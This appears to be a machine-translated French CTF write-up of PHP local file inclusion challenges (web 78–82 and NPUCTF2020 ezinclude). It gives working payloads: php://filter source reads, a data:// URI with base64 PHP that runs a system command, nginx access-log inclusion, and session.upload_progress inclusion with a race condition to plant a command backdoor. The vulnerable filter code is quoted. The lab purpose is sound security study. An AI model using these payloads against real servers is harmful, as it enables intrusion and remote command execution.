- Examiner le fichier contient des vulnérabilités aujourd'hui
toile 78
charge utile:
?file=php://filter/convert.base64-encode/resource=flag.php
web 79
charge utile:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web 80-81
- Cette question a des compétences depuis le début
- Le code source filtre le php et les pseudo-protocoles de données ne peuvent pas être utilisés
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
- charge utile
?file=/var/log/nginx/access.log
- Le fichier contient des fichiers journaux
web 82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
- Filtré. La méthode utilisée dans la question ci-dessus ne fonctionnera pas
- Je ne sais pas comment lire WP pour cette question
- Voici l'inclusion de fichier pour la session de matériel d'apprentissage.
Activités privées engagées [NPUCTF2020] ezinclude
- J'ai donné un indice en entrant dans la page
<!--md5($secret.$name)===$pass -->
- Une fois le paquet capturé, la valeur de hachage est directement téléchargée par URL
- Et puis a donné un indice
include($_GET["file"]
- Essayez de lire le code source
\flflflflag.php?file=php://filter/convert.base64-encode/resource%3dflflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
- Filtrer ces choses directement pseudo-protocole ne fonctionne pas, en pensant à deux méthodes, l'une est le fichier journal (je ne connais pas le chemin) et l'autre est
session.upload_progress pour l'inclusion de fichier - Ma solution à cette question est session.upload_progress pour inclure des fichiers puis utiliser des attaques concurrentielles
- POC
- Accès aux fichiers intermédiaires
- Attaque compétitive
- Ecrire une porte dérobée
- Paramètre POST: cmd = phpinfo ();
- Le drapeau est dans phpinfo (), j'ai cherché dans les fichiers du catalogue et finalement regardé wp pour savoir qu'il est dans phpinfo ()